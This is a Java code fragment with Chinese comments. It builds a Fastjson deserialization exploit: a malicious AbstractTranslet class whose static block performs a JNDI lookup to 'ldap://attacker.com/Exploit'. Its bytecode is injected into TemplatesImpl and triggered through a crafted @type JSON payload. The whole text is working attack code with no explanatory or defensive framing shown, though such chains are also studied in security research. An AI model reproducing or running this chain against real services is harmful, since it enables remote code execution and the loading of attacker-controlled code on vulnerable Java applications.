public class JNDILoader extends AbstractTranslet {
static {
try {
new InitialContext().lookup("ldap://attacker.com/Exploit");
} catch (NamingException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
// 生成字节码并注入到 TemplatesImpl 中
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_name", "JNDILoader");
setField(templates, "_tfactory", new TransformerFactoryImpl());
// 结合 Fastjson 触发
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_bytecodes\":[\"" + base64EncodedCode + "\"]," +
"\"_outputProperties\":{}}";
JSON.parseObject(payload, Feature.SupportNonPublicField);